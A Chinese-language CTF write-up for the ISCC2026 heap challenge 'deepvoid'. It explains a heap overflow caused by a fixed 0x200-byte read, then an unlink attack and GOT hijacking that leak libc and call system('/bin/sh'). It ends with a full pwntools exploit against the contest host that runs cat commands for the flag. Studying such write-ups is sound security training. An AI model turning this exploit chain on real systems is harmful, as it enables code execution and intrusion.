PWN-deepvoid

ISCC2026 WriteUp 提交模板

PWN-deepvoid

欢迎来到“深空(DeepSpace)”跨星系数据中心。为了应对日益增长的暗物质数据,我们上线了全新的DeepVoid存储管理系统。
我们的高级架构师向董事会保证:
1.我们为每一段数据都申请了独立的安全舱。
2.这里的链表结构像星轨一样严密。
3.哪怕是空间站爆炸,数据指针也绝不会出现幽灵。
然而,最近一名实习航天员发现,当试图向存储舱更新超过预定容量的数据时,虚空的边缘似乎出现了重叠……
“虚空正在崩塌,链接正在断裂,你能利用这股混乱的力量,夺回控制中心的Root权限吗?”
题目地址:39.96.193.120:55555

解题思路

checksec:

image.png|450

  • No PIE:程序本体地址固定,全局数组和 GOT 地址都能直接写死
  • Partial RELRO:GOT 可写,所以可以直接劫持 `free@GOT
    虽然程序有 Canary 和 NX,但这题根本不需要走栈,直接打堆即可。

main函数:

image.png

先看下create_item():

int create_item()
{
  unsigned int numeric_input; // eax
  unsigned int numeric_input_1; // ebx
  int numeric_input_2; // eax
  void *v3; // rax

  __printf_chk(1, "Serial: ");
  numeric_input = get_numeric_input();
  if ( numeric_input > 9 )
    return puts("[-] Out of range.");
  numeric_input_1 = numeric_input;
  __printf_chk(1, "Size: ");
  numeric_input_2 = get_numeric_input();
  v3 = malloc(numeric_input_2);
  if ( !v3 )
  {
    puts("[!] Allocation error.");
    exit(1);
  }
  *(&chunks + numeric_input_1) = v3;
  return puts("[+] Allocated.");
}

可以去确认chunks地址:

image.png

再确认下几个比较重要的got地址:

image.png

有:

chunks   = 0x6020c0
free@got = 0x602018
puts@got = 0x602020
puts@plt = 0x4006d0

create函数主要逻辑其实就是下面:

  v3 = malloc(numeric_input_2);
  if ( !v3 )
  {
    puts("[!] Allocation error.");
    exit(1);
  }
  *(&chunks + numeric_input_1) = v3;

简化下就是chunks[idx] = malloc(size);

接着看modify_content函数:

image.png

大致逻辑就是read(0, chunks[idx], 0x200);
这里就暴露出一个漏洞,0x200是固定的,所以在Create中申请内存为0x20等小堆块时,就可以造成堆溢出。

接着看remove函数:

image.png

free(chunks[idx]);
chunks[idx] = NULL;

如果修改free的got地址,并控制chunks[idx]就可以导致任意函数执行了。

综上内容其实已经问明了了,可以打unlink+got表劫持这个思路。稍微展开说一下:

  1. unlink该chunk表:
    目标是让:
chunks[0] = chunks - 0x18

修改后,后续 modify(0, data) 实际上就变成了“从 chunks - 0x18 开始任意写”。只要先填充 0x18 字节,就刚好能覆盖 chunks[0]chunks[1]chunks[2] 三个表项。
2. got表修改:
先把:

chunks[0] = free@got
chunks[1] = puts@got

然后:

modify(0, p64(puts@plt))
remove(1)

这等价于:

free@got = puts@plt;
puts(puts@got);

于是我们就拿到了 libc 中 puts 的真实地址。

拿到 libc 基址后,再进行第二次改表:

chunks[0] = free@got
chunks[1] = "/bin/sh" in libc

然后:

modify(0, p64(system))
remove(1)

就会变成:

system("/bin/sh");

综上可以写exp:

image.png

ISCC{03ee6b48-c89a-4cf4-8649-d513a33ef05f}

Exp

#!/usr/bin/env python3
from pwn import *
#from Crypto.Util.number import long_to_bytes, bytes_to_long

#==============全局配置=======================
ELFpath = "./deepvoid"
LIBCpath = "./libc.so.6"
LOCAL = False
HOST = "39.96.193.120"
PORT = 55555
NOASLR = False

#===============初始化========================
context(os="linux", arch="amd64", log_level="debug")
if LOCAL:
    io = process(ELFpath, aslr=not NOASLR)
else:
    io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath, checksec=False)
libc = ELF(LIBCpath, checksec=False)

#=================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

#====================业务常量====================
CHUNKS = elf.sym["chunks"]

#================工具函数====================
def debug(io):
    input()  #在脚本窗口点击回车,才会继续执行
    gdb.attach(io)
    #记住调试时在脚本最后一行放个input()防止程序退出


def cmd(choice):
    sla(b"CMD >> ", str(choice).encode())


def create(idx, size):
    cmd(1)
    sla(b"Serial: ", str(idx).encode())
    sla(b"Size: ", str(size).encode())


def modify(idx, data):
    cmd(2)
    sla(b"Serial: ", str(idx).encode())
    sda(b"Update Data: ", data)


def remove(idx):
    cmd(3)
    sla(b"Serial: ", str(idx).encode())


def attack():
    create(0, 0x80)
    create(1, 0x420)

    fake = flat(
        0,
        0x80,
        CHUNKS - 0x18,
        CHUNKS - 0x10,
    )
    payload = fake.ljust(0x80, b"A")
    payload += flat(
        0x80,
        0x430,
    )
    modify(0, payload)
    remove(1)

    table = b"A" * 0x18
    table += flat(
        elf.got["free"],
        elf.got["puts"],
        CHUNKS - 0x18,
    )
    modify(0, table)

    modify(0, p64(elf.plt["puts"]))
    remove(1)

    leak = u64(io.recvline().strip().ljust(8, b"\x00"))
    libc.address = leak - libc.sym["puts"]
    log.success(f"puts leak => {hex(leak)}")
    log.success(f"libc base => {hex(libc.address)}")

    table = b"A" * 0x18
    table += flat(
        elf.got["free"],
        next(libc.search(b"/bin/sh\x00")),
        CHUNKS - 0x18,
    )
    modify(2, table)

    modify(0, p64(libc.sym["system"]))
    remove(1)

    sleep(1)
    sl(b"cat /flag 2>/dev/null; cat flag 2>/dev/null; cat /home/ctf/flag 2>/dev/null")


#============实现========================
attack()
io.interactive()

posted @ 2026-05-19 16:32  MillionMind  阅读(14)  评论(0)    收藏  举报